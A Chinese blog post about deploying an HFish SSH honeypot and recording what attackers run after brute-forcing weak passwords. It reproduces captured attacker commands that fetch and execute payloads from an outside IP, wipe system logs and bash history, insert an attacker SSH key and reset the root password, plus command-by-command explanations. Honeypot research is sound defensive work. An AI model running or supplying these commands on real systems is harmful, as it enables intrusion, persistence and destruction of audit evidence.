搭建一个hfish蜜罐 接收全网攻击
每次新开服务器,就会被来自江苏连云港和其他海外 IP 的 ssh 弱口令爆破,我很想知道这些人登陆成功我的服务器后会执行哪些操作,于是我搭建了一个 hfish 蜜罐接收了他们的攻击!
搭建教程:#
官方部署教程:https://hfish.net/#/2-2-linux
CentOS 是 HFish 团队主力开发和测试系统,推荐选用 CentOS 系统部署管理端
如果部署的环境为 Linux,且可以访问互联网,强烈建议使用一键部署脚本进行安装和配置,在使用一键脚本前,请先配置防火墙。
如果蜜罐节点暴露在互联网,可能会出现 TCP 连接超过最大 1024 个连接数限制,导致其他连接被拒绝的情况,可手动放开机器 TCP 最大连接数。参考解决链接:https://www.cnblogs.com/lemon-flm/p/7975812.html
以 root 权限运行以下命令,确保配置防火墙开启 TCP/4433、TCP/4434
firewall-cmd --add-port=4433/tcp --permanent #(用于web界面启动)
firewall-cmd --add-port=4434/tcp --permanent #(用于节点与管理端通信)
firewall-cmd --reload
如之后蜜罐服务需要占用其他端口,可使用相同命令打开
以 root 权限运行以下一键部署命令
bash <(curl -sS -L https://hfish.net/webinstall.sh)
完成安装后,通过以下网址、账号密码登录
登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021
我的蜜罐:#
我这里使用了高交互 SSH 蜜罐,这里比普通的 ssh 蜜罐不同的点就是交互功能丰富一点,执行的命令也多。并且任何密码都能登陆成功。
其中我捕获到了一个海外 IP 的 ssh 执行命令,其他的暂时没有捕获成功!
New connection: 167.88.165.28:35180 (*****:22) [session: a58f59899b0d]
Remote SSH version: SSH-2.0-PUTTY
login attempt [root/123456a] succeeded
wdir=”/bin”; for i in “/bin” “/home” “/root” “/tmp” “/usr” “/etc”; do; if [ -w $i ]; then; wdir=$i; break; fi; done; cd $wdir; curl http://169.239.130.34/1.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0; wget http://169.239.130.34/1.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good http://169.239.130.34/1.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2; wget http://169.239.130.34/2.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good http://169.239.130.34/2.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14; curl http://169.239.130.34/2.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/wget /usr/bin/good; mv /bin/wget /bin/good; cat /dev/null >/root/.bash_history; cat /dev/null > /var/log/wtmp; cat /dev/null > /var/log/btmp; cat /dev/null > /var/log/lastlog; cat /dev/null > /var/log/secure; cat /dev/null > /var/log/boot.log; cat /dev/null > /var/log/cron; cat /dev/null > /var/log/dmesg; cat /dev/null > /var/log/firewalld; cat /dev/null > /var/log/maillog; cat /dev/null > /var/log/messages; cat /dev/null > /var/log/spooler; cat /dev/null > /var/log/syslog; cat /dev/null > /var/log/tallylog; cat /dev/null > /var/log/yum.log; cat /dev/null >/root/.bash_history; ls -la /etc/daemon.cfg; exit $?; ; ;
ls -la /etc/daemon.cfg
Connection lost after 10 seconds
我最想捕获来自江苏连云港的执行操作,因为这个 IP 地区段一直在执行 ssh 弱口令爆破,在半年前我就发现了。后期捕获成功我再来添加后续!
后续:#
收到了一个来自 IP:31.46.16.122 的攻击,通过 ssh 蜜罐执行了下面的命令:
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
echo “root:vfQmZqwSSWnP”|chpasswd|bash
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
cat /proc/cpuinfo | grep name | head -n 1 | awk ‘{print $4,$5,$6,$7,$8,$9;}’
free -m | grep Mem | awk ‘{print $2 ,$3, $4, $5, $6, $7}’
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
whoami
lscpu | grep Model
df -h | head -n 2 | awk ‘FNR == 2 {print $2;}’
这些命令都是用来获取系统信息或执行系统操作的。让我们逐个来解释:
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
这个命令的作用是:
- 切换到用户的主目录 (
cd ~
)。 - 删除
.ssh
目录及其内容 (rm -rf .ssh
)。 - 创建一个新的
.ssh
目录 (mkdir .ssh
)。 - 将一个 SSH 公钥添加到
.ssh
目录下的authorized_keys
文件中。 - 限制
.ssh
目录及其内容的权限,使其只对所有者可读可写 (chmod -R go= ~/.ssh
)。 - 切换回用户的主目录 (
cd ~
)。
- 切换到用户的主目录 (
cat /proc/cpuinfo | grep name | wc -l
这个命令的作用是获取 CPU 信息并统计 CPU 名称的数量。
echo "root:vfQmZqwSSWnP" | chpasswd | bash
这个命令的作用是将 root 用户的密码设置为
vfQmZqwSSWnP
。rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
这个命令的作用是删除
/tmp
目录下的secure.sh
和auth.sh
文件,然后终止名为secure.sh
和auth.sh
的进程,清空/etc/hosts.deny
文件内容,并终止所有名为sleep
的进程。cat /proc/cpuinfo | grep model | grep name | wc -l
这个命令的作用是获取 CPU 信息并统计 CPU 模型名称的数量。
top
这个命令的作用是显示系统中当前运行的进程信息,包括 CPU 占用情况等。
uname
这个命令的作用是显示系统信息,如内核名称。
uname -a
这个命令的作用是显示完整的系统信息,包括内核版本、主机名、操作系统版本等。
whoami
这个命令的作用是显示当前登录用户的用户名。
lscpu | grep Model
这个命令的作用是显示 CPU 的型号信息。
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
这个命令的作用是显示磁盘空间使用情况,具体来说是显示根目录的总空间。
搞不懂这个二货给我加了个 ssh 密钥还给我把 root 密码改了,后续继续监控!
黑马源码资源网 » 搭建一个hfish蜜罐 接收全网攻击